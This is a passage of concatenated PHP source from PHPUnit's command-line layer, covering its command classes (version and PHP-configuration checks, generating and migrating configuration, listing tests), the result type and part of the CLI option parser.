EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function testDoxResultCollector(Configuration $configuration): ?TestDoxResultCollector { if ($configuration->hasLogfileTestdoxHtml() || $configuration->hasLogfileTestdoxText() || $configuration->outputIsTestDox()) { return new TestDoxResultCollector( EventFacade::instance(), $configuration->source(), ); } return null; } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function initializeTestResultCache(Configuration $configuration): ResultCache { if ($configuration->cacheResult()) { $cache = new DefaultResultCache($configuration->testResultCacheFile()); new ResultCacheHandler($cache, EventFacade::instance()); return $cache; } return new NullResultCache; } /** * @throws EventFacadeIsSealedException * @throws UnknownSubscriberTypeException */ private function configureBaseline(Configuration $configuration): ?BaselineGenerator { if ($configuration->hasGenerateBaseline()) { return new BaselineGenerator( EventFacade::instance(), $configuration->source(), ); } if ($configuration->source()->useBaseline()) { /** @psalm-suppress MissingThrowsDocblock */ $baselineFile = $configuration->source()->baseline(); $baseline = null; try { $baseline = (new Reader)->read($baselineFile); } catch (CannotLoadBaselineException $e) { EventFacade::emitter()->testRunnerTriggeredPhpunitWarning($e->getMessage()); } if ($baseline !== null) { ErrorHandler::instance()->use($baseline); } } return null; } /** * @codeCoverageIgnore */ private function exitWithCrashMessage(Throwable $t): never { $message = $t->getMessage(); if (empty(trim($message))) { $message = '(no message)'; } printf( '%s%sAn error occurred inside PHPUnit.%s%sMessage: %s', PHP_EOL, PHP_EOL, PHP_EOL, PHP_EOL, $message, ); $first = true; if ($t->getPrevious()) { $t = $t->getPrevious(); } do { printf( '%s%s: %s:%d%s%s%s%s', PHP_EOL, $first ? 'Location' : 'Caused by', $t->getFile(), $t->getLine(), PHP_EOL, PHP_EOL, $t->getTraceAsString(), PHP_EOL, ); $first = false; } while ($t = $t->getPrevious()); exit(Result::CRASH); } private function exitWithErrorMessage(string $message): never { print Version::getVersionString() . PHP_EOL . PHP_EOL . $message . PHP_EOL; exit(Result::EXCEPTION); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ interface Command { public function execute(): Result; } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use function version_compare; use PHPUnit\Runner\Version; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class AtLeastVersionCommand implements Command { private readonly string $version; public function __construct(string $version) { $this->version = $version; } public function execute(): Result { if (version_compare(Version::id(), $this->version, '>=')) { return Result::from(); } return Result::from('', Result::FAILURE); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use const E_ALL; use const PHP_EOL; use function extension_loaded; use function in_array; use function ini_get; use function max; use function sprintf; use function strlen; use PHPUnit\Runner\Version; use PHPUnit\Util\Color; use SebastianBergmann\Environment\Console; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class CheckPhpConfigurationCommand implements Command { private readonly bool $colorize; public function __construct() { $this->colorize = (new Console)->hasColorSupport(); } public function execute(): Result { $lines = []; $shellExitCode = 0; foreach ($this->settings() as $name => $setting) { foreach ($setting['requiredExtensions'] as $extension) { if (!extension_loaded($extension)) { // @codeCoverageIgnoreStart continue 2; // @codeCoverageIgnoreEnd } } $actualValue = ini_get($name); if (in_array($actualValue, $setting['expectedValues'], true)) { $check = $this->ok(); } else { $check = $this->notOk($actualValue); $shellExitCode = 1; } $lines[] = [ sprintf( '%s = %s', $name, $setting['valueForConfiguration'], ), $check, ]; } $maxLength = 0; foreach ($lines as $line) { $maxLength = max($maxLength, strlen($line[0])); } $buffer = sprintf( 'Checking whether PHP is configured according to https://docs.phpunit.de/en/%s/installation.html#configuring-php-for-development' . PHP_EOL . PHP_EOL, Version::series(), ); foreach ($lines as $line) { $buffer .= sprintf( '%-' . $maxLength . 's ... %s' . PHP_EOL, $line[0], $line[1], ); } return Result::from($buffer, $shellExitCode); } /** * @return non-empty-string */ private function ok(): string { if (!$this->colorize) { return 'ok'; } // @codeCoverageIgnoreStart return Color::colorizeTextBox('fg-green, bold', 'ok'); // @codeCoverageIgnoreEnd } /** * @return non-empty-string */ private function notOk(string $actualValue): string { $message = sprintf('not ok (%s)', $actualValue); if (!$this->colorize) { return $message; } // @codeCoverageIgnoreStart return Color::colorizeTextBox('fg-red, bold', $message); // @codeCoverageIgnoreEnd } /** * @return non-empty-array, valueForConfiguration: non-empty-string, requiredExtensions: list}> */ private function settings(): array { return [ 'display_errors' => [ 'expectedValues' => ['1'], 'valueForConfiguration' => 'On', 'requiredExtensions' => [], ], 'display_startup_errors' => [ 'expectedValues' => ['1'], 'valueForConfiguration' => 'On', 'requiredExtensions' => [], ], 'error_reporting' => [ 'expectedValues' => ['-1', (string) E_ALL], 'valueForConfiguration' => '-1', 'requiredExtensions' => [], ], 'xdebug.show_exception_trace' => [ 'expectedValues' => ['0'], 'valueForConfiguration' => '0', 'requiredExtensions' => ['xdebug'], ], 'zend.assertions' => [ 'expectedValues' => ['1'], 'valueForConfiguration' => '1', 'requiredExtensions' => [], ], 'assert.exception' => [ 'expectedValues' => ['1'], 'valueForConfiguration' => '1', 'requiredExtensions' => [], ], 'memory_limit' => [ 'expectedValues' => ['-1'], 'valueForConfiguration' => '-1', 'requiredExtensions' => [], ], ]; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use const PHP_EOL; use const STDIN; use function fgets; use function file_put_contents; use function getcwd; use function sprintf; use function trim; use PHPUnit\Runner\Version; use PHPUnit\TextUI\XmlConfiguration\Generator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class GenerateConfigurationCommand implements Command { public function execute(): Result { print 'Generating phpunit.xml in ' . getcwd() . PHP_EOL . PHP_EOL; print 'Bootstrap script (relative to path shown above; default: vendor/autoload.php): '; $bootstrapScript = $this->read(); print 'Tests directory (relative to path shown above; default: tests): '; $testsDirectory = $this->read(); print 'Source directory (relative to path shown above; default: src): '; $src = $this->read(); print 'Cache directory (relative to path shown above; default: .phpunit.cache): '; $cacheDirectory = $this->read(); if ($bootstrapScript === '') { $bootstrapScript = 'vendor/autoload.php'; } if ($testsDirectory === '') { $testsDirectory = 'tests'; } if ($src === '') { $src = 'src'; } if ($cacheDirectory === '') { $cacheDirectory = '.phpunit.cache'; } $generator = new Generator; $result = @file_put_contents( 'phpunit.xml', $generator->generateDefaultConfiguration( Version::series(), $bootstrapScript, $testsDirectory, $src, $cacheDirectory, ), ); if ($result !== false) { return Result::from( sprintf( PHP_EOL . 'Generated phpunit.xml in %s.' . PHP_EOL . 'Make sure to exclude the %s directory from version control.' . PHP_EOL, getcwd(), $cacheDirectory, ), ); } // @codeCoverageIgnoreStart return Result::from( sprintf( PHP_EOL . 'Could not write phpunit.xml in %s.' . PHP_EOL, getcwd(), ), Result::EXCEPTION, ); // @codeCoverageIgnoreEnd } private function read(): string { return trim(fgets(STDIN)); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use const PHP_EOL; use function sort; use function sprintf; use function str_starts_with; use PHPUnit\Framework\TestSuite; use PHPUnit\TextUI\Configuration\Registry; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ListGroupsCommand implements Command { private readonly TestSuite $suite; public function __construct(TestSuite $suite) { $this->suite = $suite; } public function execute(): Result { $buffer = $this->warnAboutConflictingOptions(); $buffer .= 'Available test group(s):' . PHP_EOL; $groups = $this->suite->groups(); sort($groups); foreach ($groups as $group) { if (str_starts_with($group, '__phpunit_')) { continue; } $buffer .= sprintf( ' - %s' . PHP_EOL, $group, ); } return Result::from($buffer); } private function warnAboutConflictingOptions(): string { $buffer = ''; $configuration = Registry::get(); if ($configuration->hasFilter()) { $buffer .= 'The --filter and --list-groups options cannot be combined, --filter is ignored' . PHP_EOL; } if ($configuration->hasGroups()) { $buffer .= 'The --group and --list-groups options cannot be combined, --group is ignored' . PHP_EOL; } if ($configuration->hasExcludeGroups()) { $buffer .= 'The --exclude-group and --list-groups options cannot be combined, --exclude-group is ignored' . PHP_EOL; } if ($configuration->includeTestSuite() !== '') { $buffer .= 'The --testsuite and --list-groups options cannot be combined, --exclude-group is ignored' . PHP_EOL; } if (!empty($buffer)) { $buffer .= PHP_EOL; } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use const PHP_EOL; use function sprintf; use PHPUnit\TextUI\Configuration\Registry; use PHPUnit\TextUI\Configuration\TestSuiteCollection; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ListTestSuitesCommand implements Command { private readonly TestSuiteCollection $suites; public function __construct(TestSuiteCollection $suites) { $this->suites = $suites; } public function execute(): Result { $buffer = $this->warnAboutConflictingOptions(); $buffer .= 'Available test suite(s):' . PHP_EOL; foreach ($this->suites as $suite) { $buffer .= sprintf( ' - %s' . PHP_EOL, $suite->name(), ); } return Result::from($buffer); } private function warnAboutConflictingOptions(): string { $buffer = ''; $configuration = Registry::get(); if ($configuration->hasFilter()) { $buffer .= 'The --filter and --list-suites options cannot be combined, --filter is ignored' . PHP_EOL; } if ($configuration->hasGroups()) { $buffer .= 'The --group and --list-suites options cannot be combined, --group is ignored' . PHP_EOL; } if ($configuration->hasExcludeGroups()) { $buffer .= 'The --exclude-group and --list-suites options cannot be combined, --exclude-group is ignored' . PHP_EOL; } if ($configuration->includeTestSuite() !== '') { $buffer .= 'The --testsuite and --list-suites options cannot be combined, --testsuite is ignored' . PHP_EOL; } if (!empty($buffer)) { $buffer .= PHP_EOL; } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use const PHP_EOL; use function sprintf; use function str_replace; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\PhptTestCase; use PHPUnit\TextUI\Configuration\Registry; use RecursiveIteratorIterator; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ListTestsAsTextCommand implements Command { private readonly TestSuite $suite; public function __construct(TestSuite $suite) { $this->suite = $suite; } public function execute(): Result { $buffer = $this->warnAboutConflictingOptions(); $buffer .= 'Available test(s):' . PHP_EOL; foreach (new RecursiveIteratorIterator($this->suite) as $test) { if ($test instanceof TestCase) { $name = sprintf( '%s::%s', $test::class, str_replace(' with data set ', '', $test->nameWithDataSet()), ); } elseif ($test instanceof PhptTestCase) { $name = $test->getName(); } else { continue; } $buffer .= sprintf( ' - %s' . PHP_EOL, $name, ); } return Result::from($buffer); } private function warnAboutConflictingOptions(): string { $buffer = ''; $configuration = Registry::get(); if ($configuration->hasFilter()) { $buffer .= 'The --filter and --list-tests options cannot be combined, --filter is ignored' . PHP_EOL; } if ($configuration->hasGroups()) { $buffer .= 'The --group and --list-tests options cannot be combined, --group is ignored' . PHP_EOL; } if ($configuration->hasExcludeGroups()) { $buffer .= 'The --exclude-group and --list-tests options cannot be combined, --exclude-group is ignored' . PHP_EOL; } if (!empty($buffer)) { $buffer .= PHP_EOL; } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use const PHP_EOL; use function file_put_contents; use function implode; use function sprintf; use function str_replace; use PHPUnit\Framework\TestCase; use PHPUnit\Framework\TestSuite; use PHPUnit\Runner\PhptTestCase; use PHPUnit\TextUI\Configuration\Registry; use RecursiveIteratorIterator; use XMLWriter; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ListTestsAsXmlCommand implements Command { private readonly string $filename; private readonly TestSuite $suite; public function __construct(string $filename, TestSuite $suite) { $this->filename = $filename; $this->suite = $suite; } public function execute(): Result { $buffer = $this->warnAboutConflictingOptions(); $writer = new XMLWriter; $writer->openMemory(); $writer->setIndent(true); $writer->startDocument(); $writer->startElement('tests'); $currentTestCase = null; foreach (new RecursiveIteratorIterator($this->suite) as $test) { if ($test instanceof TestCase) { if ($test::class !== $currentTestCase) { if ($currentTestCase !== null) { $writer->endElement(); } $writer->startElement('testCaseClass'); $writer->writeAttribute('name', $test::class); $currentTestCase = $test::class; } $writer->startElement('testCaseMethod'); $writer->writeAttribute('id', $test->valueObjectForEvents()->id()); $writer->writeAttribute('name', $test->name()); $writer->writeAttribute('groups', implode(',', $test->groups())); /** * @deprecated https://github.com/sebastianbergmann/phpunit/issues/5481 */ if (!empty($test->dataSetAsString())) { $writer->writeAttribute( 'dataSet', str_replace( ' with data set ', '', $test->dataSetAsString(), ), ); } $writer->endElement(); continue; } if ($test instanceof PhptTestCase) { if ($currentTestCase !== null) { $writer->endElement(); $currentTestCase = null; } $writer->startElement('phptFile'); $writer->writeAttribute('path', $test->getName()); $writer->endElement(); } } if ($currentTestCase !== null) { $writer->endElement(); } $writer->endElement(); file_put_contents($this->filename, $writer->outputMemory()); $buffer .= sprintf( 'Wrote list of tests that would have been run to %s' . PHP_EOL, $this->filename, ); return Result::from($buffer); } private function warnAboutConflictingOptions(): string { $buffer = ''; $configuration = Registry::get(); if ($configuration->hasFilter()) { $buffer .= 'The --filter and --list-tests-xml options cannot be combined, --filter is ignored' . PHP_EOL; } if ($configuration->hasGroups()) { $buffer .= 'The --group and --list-tests-xml options cannot be combined, --group is ignored' . PHP_EOL; } if ($configuration->hasExcludeGroups()) { $buffer .= 'The --exclude-group and --list-tests-xml options cannot be combined, --exclude-group is ignored' . PHP_EOL; } if (!empty($buffer)) { $buffer .= PHP_EOL; } return $buffer; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use const PHP_EOL; use function copy; use function file_put_contents; use function sprintf; use PHPUnit\TextUI\XmlConfiguration\Migrator; use Throwable; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class MigrateConfigurationCommand implements Command { private readonly string $filename; public function __construct(string $filename) { $this->filename = $filename; } public function execute(): Result { try { $migrated = (new Migrator)->migrate($this->filename); copy($this->filename, $this->filename . '.bak'); file_put_contents($this->filename, $migrated); return Result::from( sprintf( 'Created backup: %s.bak%sMigrated configuration: %s%s', $this->filename, PHP_EOL, $this->filename, PHP_EOL, ), ); } catch (Throwable $t) { return Result::from( sprintf( 'Migration of %s failed:%s%s%s', $this->filename, PHP_EOL, $t->getMessage(), PHP_EOL, ), Result::FAILURE, ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use PHPUnit\TextUI\Help; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ShowHelpCommand implements Command { private readonly int $shellExitCode; public function __construct(int $shellExitCode) { $this->shellExitCode = $shellExitCode; } public function execute(): Result { return Result::from( (new Help)->generate(), $this->shellExitCode, ); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class ShowVersionCommand implements Command { public function execute(): Result { return Result::from(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use const PHP_EOL; use function assert; use function sprintf; use function version_compare; use PHPUnit\Util\Http\Downloader; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class VersionCheckCommand implements Command { private readonly Downloader $downloader; private readonly int $majorVersionNumber; private readonly string $versionId; public function __construct(Downloader $downloader, int $majorVersionNumber, string $versionId) { $this->downloader = $downloader; $this->majorVersionNumber = $majorVersionNumber; $this->versionId = $versionId; } public function execute(): Result { $latestVersion = $this->downloader->download('https://phar.phpunit.de/latest-version-of/phpunit'); assert($latestVersion !== false); $latestCompatibleVersion = $this->downloader->download('https://phar.phpunit.de/latest-version-of/phpunit-' . $this->majorVersionNumber); assert($latestCompatibleVersion !== false); $notLatest = version_compare($latestVersion, $this->versionId, '>'); $notLatestCompatible = version_compare($latestCompatibleVersion, $this->versionId, '>'); if (!$notLatest && !$notLatestCompatible) { return Result::from( 'You are using the latest version of PHPUnit.' . PHP_EOL, ); } $buffer = 'You are not using the latest version of PHPUnit.' . PHP_EOL; if ($notLatestCompatible) { $buffer .= sprintf( 'The latest version compatible with PHPUnit %s is PHPUnit %s.' . PHP_EOL, $this->versionId, $latestCompatibleVersion, ); } if ($notLatest) { $buffer .= sprintf( 'The latest version is PHPUnit %s.' . PHP_EOL, $latestVersion, ); } return Result::from($buffer); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; use const PHP_EOL; use function printf; use PHPUnit\TextUI\Configuration\CodeCoverageFilterRegistry; use PHPUnit\TextUI\Configuration\Configuration; use PHPUnit\TextUI\Configuration\NoCoverageCacheDirectoryException; use SebastianBergmann\CodeCoverage\StaticAnalysis\CacheWarmer; use SebastianBergmann\Timer\NoActiveTimerException; use SebastianBergmann\Timer\Timer; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit * * @codeCoverageIgnore */ final class WarmCodeCoverageCacheCommand implements Command { private readonly Configuration $configuration; private readonly CodeCoverageFilterRegistry $codeCoverageFilterRegistry; public function __construct(Configuration $configuration, CodeCoverageFilterRegistry $codeCoverageFilterRegistry) { $this->configuration = $configuration; $this->codeCoverageFilterRegistry = $codeCoverageFilterRegistry; } /** * @throws NoActiveTimerException * @throws NoCoverageCacheDirectoryException */ public function execute(): Result { if (!$this->configuration->hasCoverageCacheDirectory()) { return Result::from( 'Cache for static analysis has not been configured' . PHP_EOL, Result::FAILURE, ); } $this->codeCoverageFilterRegistry->init($this->configuration, true); if (!$this->codeCoverageFilterRegistry->configured()) { return Result::from( 'Filter for code coverage has not been configured' . PHP_EOL, Result::FAILURE, ); } $timer = new Timer; $timer->start(); print 'Warming cache for static analysis ... '; (new CacheWarmer)->warmCache( $this->configuration->coverageCacheDirectory(), !$this->configuration->disableCodeCoverageIgnore(), $this->configuration->ignoreDeprecatedCodeUnitsFromCodeCoverage(), $this->codeCoverageFilterRegistry->get(), ); printf( '[%s]%s', $timer->stop()->asString(), PHP_EOL, ); return Result::from(); } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Command; /** * @psalm-immutable * * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Result { public const SUCCESS = 0; public const FAILURE = 1; public const EXCEPTION = 2; public const CRASH = 255; private readonly string $output; private readonly int $shellExitCode; public static function from(string $output = '', int $shellExitCode = self::SUCCESS): self { return new self($output, $shellExitCode); } private function __construct(string $output, int $shellExitCode) { $this->output = $output; $this->shellExitCode = $shellExitCode; } public function output(): string { return $this->output; } public function shellExitCode(): int { return $this->shellExitCode; } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\Configuration; use PHPUnit\TextUI\CliArguments\Builder as CliConfigurationBuilder; use PHPUnit\TextUI\CliArguments\Exception as CliConfigurationException; use PHPUnit\TextUI\CliArguments\XmlConfigurationFileFinder; use PHPUnit\TextUI\XmlConfiguration\DefaultConfiguration; use PHPUnit\TextUI\XmlConfiguration\Exception as XmlConfigurationException; use PHPUnit\TextUI\XmlConfiguration\Loader; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @codeCoverageIgnore */ final class Builder { /** * @throws ConfigurationCannotBeBuiltException */ public function build(array $argv): Configuration { try { $cliConfiguration = (new CliConfigurationBuilder)->fromParameters($argv); $configurationFile = (new XmlConfigurationFileFinder)->find($cliConfiguration); $xmlConfiguration = DefaultConfiguration::create(); if ($configurationFile !== false) { $xmlConfiguration = (new Loader)->load($configurationFile); } return Registry::init( $cliConfiguration, $xmlConfiguration, ); } catch (CliConfigurationException|XmlConfigurationException $e) { throw new ConfigurationCannotBeBuiltException( $e->getMessage(), $e->getCode(), $e, ); } } } * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace PHPUnit\TextUI\CliArguments; use const DIRECTORY_SEPARATOR; use function array_map; use function basename; use function explode; use function getcwd; use function is_file; use function is_numeric; use function sprintf; use PHPUnit\Event\Facade as EventFacade; use PHPUnit\Runner\TestSuiteSorter; use PHPUnit\Util\Filesystem; use SebastianBergmann\CliParser\Exception as CliParserException; use SebastianBergmann\CliParser\Parser as CliParser; /** * @no-named-arguments Parameter names are not covered by the backward compatibility promise for PHPUnit * * @internal This class is not covered by the backward compatibility promise for PHPUnit */ final class Builder { private const LONG_OPTIONS = [ 'atleast-version=', 'bootstrap=', 'cache-result', 'do-not-cache-result', 'cache-directory=', 'cache-result-file=', 'check-version', 'check-php-configuration', 'colors==', 'columns=', 'configuration=', 'coverage-cache=', 'warm-coverage-cache', 'coverage-filter=', 'coverage-clover=', 'coverage-cobertura=', 'coverage-crap4j=', 'coverage-html=', 'coverage-php=', 'coverage-text==', 'only-summary-for-coverage-text', 'show-uncovered-for-coverage-text', 'coverage-xml=', 'path-coverage', 'disallow-test-output', 'display-all-issues', 'display-incomplete', 'display-skipped', 'display-deprecations', 'display-phpunit-deprecations', 'display-errors', 'display-notices', 'display-warnings', 'default-time-limit=', 'enforce-time-limit', 'exclude-group=', 'filter=', 'generate-baseline=', 'use-baseline=', 'ignore-baseline', 'generate-configuration', 'globals-backup', 'group=', 'covers=', 'uses=', 'help', 'resolve-dependencies', 'ignore-dependencies', 'include-path=', 'list-groups', 'list-suites', 'list-tests', 'list-tests-xml=', 'log-junit=', 'log-teamcity=', 'migrate-configuration', 'no-configuration', 'no-coverage', 'no-logging', 'no-extensions', 'no-output', 'no-progress', 'no-results', 'order-by=', 'process-isolation', 'do-not-report-useless-tests', 'dont-report-useless-tests', 'random-order', 'random-order-seed=', 'reverse-order', 'reverse-list', 'static-backup', 'stderr', 'fail-on-all-issues', 'fail-on-deprecation', 'fail-on-phpunit-deprecation', 'fail-on-phpunit-warning', 'fail-on-empty-test-suite', 'fail-on-incomplete', 'fail-on-notice', 'fail-on-risky', 'fail-on-skipped', 'fail-on-warning', 'do-not-fail-on-deprecation', 'do-not-fail-on-phpunit-deprecation', 'do-not-fail-on-phpunit-warning', 'do-not-fail-on-empty-test-suite', 'do-not-fail-on-incomplete', 'do-not-fail-on-notice', 'do-not-fail-on-risky', 'do-not-fail-on-skipped', 'do-not-fail-on-warning', 'stop-on-defect', 'stop-on-deprecation', 'stop-on-error', 'stop-on-failure', 'stop-on-incomplete', 'stop-on-notice', 'stop-on-risky', 'stop-on-skipped', 'stop-on-warning', 'strict-coverage', 'disable-coverage-ignore', 'strict-global-state', 'teamcity', 'testdox', 'testdox-html=', 'testdox-text=', 'test-suffix=', 'testsuite=', 'exclude-testsuite=', 'log-events-text=', 'log-events-verbose-text=', 'version', 'debug', ]; private const SHORT_OPTIONS = 'd:c:h'; /** * @psalm-var array */ private array $processed = []; /** * @throws Exception */ public function fromParameters(array $parameters): Configuration { try { $options = (new CliParser)->parse( $parameters, self::SHORT_OPTIONS, self::LONG_OPTIONS, ); } catch (CliParserException $e) { throw new Exception( $e->getMessage(), $e->getCode(), $e, ); } $atLeastVersion = null; $backupGlobals = null; $backupStaticProperties = null; $beStrictAboutChangesToGlobalState = null; $bootstrap = null; $cacheDirectory = null; $cacheResult = null; $cacheResultFile = null; $checkPhpConfiguration = false; $checkVersion = false; $colors = null; $columns = null; $configuration = null; $coverageCacheDirectory = null; $warmCoverageCache = false; $coverageFilter = null; $coverageClover = null; $coverageCobertura = null; $coverageCrap4J = null; $coverageHtml = null; $coveragePhp = null; $coverageText = null; $coverageTextShowUncoveredFiles = null; $coverageTextShowOnlySummary = null; $coverageXml = null; $pathCoverage = null; $defaultTimeLimit = null; $disableCodeCoverageIgnore = null; $disallowTestOutput = null; $displayAllIssues = null; $displayIncomplete = null; $displaySkipped = null; $displayDeprecations = null; $displayPhpunitDeprecations = null; $displayErrors = null; $displayNotices = null; $displayWarnings = null; $enforceTimeLimit = null; $excludeGroups = null; $executionOrder = null; $executionOrderDefects = null; $failOnAllIssues = null; $failOnDeprecation = null; $failOnPhpunitDeprecation = null; $failOnPhpunitWarning = null; $failOnEmptyTestSuite = null; $failOnIncomplete = null; $failOnNotice = null; $failOnRisky = null; $failOnSkipped = null; $failOnWarning = null; $doNotFailOnDeprecation = null; $doNotFailOnPhpunitDeprecation = null; $doNotFailOnPhpunitWarning = null; $doNotFailOnEmptyTestSuite = null; $doNotFailOnIncomplete = null; $doNotFailOnNotice = null; $doNotFailOnRisky = null; $doNotFailOnSkipped = null; $doNotFailOnWarning = null; $stopOnDefect = null; $stopOnDeprecation = null; $stopOnError = null; $stopOnFailure = null; $stopOnIncomplete = null; $stopOnNotice = null; $stopOnRisky = null; $stopOnSkipped = null; $stopOnWarning = null; $filter = null; $generateBaseline = null; $useBaseline = null; $ignoreBaseline = false; $generateConfiguration = false; $migrateConfiguration = false; $groups = null; $testsCovering = null; $testsUsing = null; $help = false; $includePath = null; $iniSettings = []; $junitLogfile = null; $listGroups = false; $listSuites = false; $listTests = false; $listTestsXml = null; $noCoverage = null; $noExtensions = null; $noOutput = null; $noProgress = null; $noResults = null; $noLogging = null; $processIsolation = null; $randomOrderSeed = null; $reportUselessTests = null; $resolveDependencies = null; $reverseList = null; $stderr = null; $strictCoverage = null; $teamcityLogfile = null; $testdoxHtmlFile = null; $testdoxTextFile = null; $testSuffixes = null; $testSuite = null; $excludeTestSuite = null; $useDefaultConfiguration = true; $version = false; $logEventsText = null; $logEventsVerboseText = null; $printerTeamCity = null; $printerTestDox = null; $debug = false; foreach ($options[0] as $option) { $optionAllowedMultipleTimes = false; switch ($option[0]) { case '--colors': $colors = $option[1] ?: \PHPUnit\TextUI\Configuration\Configuration::COLOR_AUTO; break; case '--bootstrap': $bootstrap = $option[1]; break; case '--cache-directory': $cacheDirectory = $option[1]; break; case '--cache-result': $cacheResult = true; break; case '--do-not-cache-result': $cacheResult = false; break; case '--cache-result-file': $cacheResultFile = $option[1]; break; case '--columns': if (is_numeric($option[1])) { $columns = (int) $option[1]; } elseif ($option[1] === 'max') { $columns = 'max'; } break; case 'c': case '--configuration': $configuration = $option[1]; break; case '--coverage-cache': $coverageCacheDirectory = $option[1]; break; case '--warm-coverage-cache': $warmCoverageCache = true; break; case '--coverage-clover': $coverageClover = $option[1]; break; case '--coverage-cobertura': $coverageCobertura = $option[1]; break; case '--coverage-crap4j': $coverageCrap4J = $option[1]; break; case '--coverage-html': $coverageHtml = $option[1]; break; case '--coverage-php': $coveragePhp = $option[1]; break; case '--coverage-text': if ($option[1] === null) { $option[1] = 'php://stdout'; } $coverageText = $option[1]; break; case '--only-summary-for-coverage-text': $coverageTextShowOnlySummary = true; break; case '--show-uncovered-for-coverage-text': $coverageTextShowUncoveredFiles = true; break; case '--coverage-xml': $coverageXml = $option[1]; break; case '--path-coverage': $pathCoverage = true; break; case 'd': $tmp = explode('=', $option[1]); if (isset($tmp[0])) { if (isset($tmp[1])) { $iniSettings[$tmp[0]] = $tmp[1]; } else { $iniSettings[$tmp[0]] = '1'; } } $optionAllowedMultipleTimes = true; break; case 'h': case '--help': $help = true; break; case '--filter': $filter = $option[1]; break; case '--testsuite': $testSuite = $option[1]; break; case '--exclude-testsuite': $excludeTestSuite = $option[1]; break; case '--generate-baseline': $generateBaseline = $option[1]; if (basename($generateBaseline) === $generateBaseline) { $generateBaseline = getcwd() . DIRECTORY_SEPARATOR . $generateBaseline; } break; case '--use-baseline': $useBaseline = $option[1]; if (basename($useBaseline) === $useBaseline && !is_file($useBaseline)) { $useBaseline = getcwd() . DIRECTORY_SEPARATOR . $useBaseline; } break; case '--ignore-baseline': $ignoreBaseline = true; break; case '--generate-configuration': $generateConfiguration = true; break; case '--migrate-configuration': $migrateConfiguration = true; break; case '--group': $groups = explode(',', $option[1]); break; case '--exclude-group': $excludeGroups = explode(',', $option[1]); break; case '--covers': $testsCovering = array_map('strtolower', explode(',', $option[1])); break; case '--uses': $testsUsing = array_map('strtolower', explode(',', $option[1])); break; case '--test-suffix': $testSuffixes = explode(',', $option[1]); break; case '--include-path': $includePath = $option[1]; break; case '--list-groups': $listGroups = true; break; case '--list-suites': $listSuites = true; break; case '--list-tests': $listTests = true; break; case '--list-tests-xml': $listTestsXml = $option[1]; break; case '--log-junit': $junitLogfile = $option[1]; break; case '--log-teamcity': $teamcityLogfile = $option[1]; break; case '--order-by': foreach (explode(',', $option[1]) as $order) { switch ($order) { case 'default': $executionOrder = TestSuiteSorter::ORDER_DEFAULT; $executionOrderDefects = TestSuiteSorter::ORDER_DEFAULT; $resolveDependencies = true; break; case 'defects': $executionOrderDefects = TestSuiteSorter::ORDER_DEFECTS_FIRST; break; case 'depends': $resolveDependencies = true; break; case 'duration': $executionOrder = TestSuiteSorter::ORDER_DURATION; break; case 'no-depends': 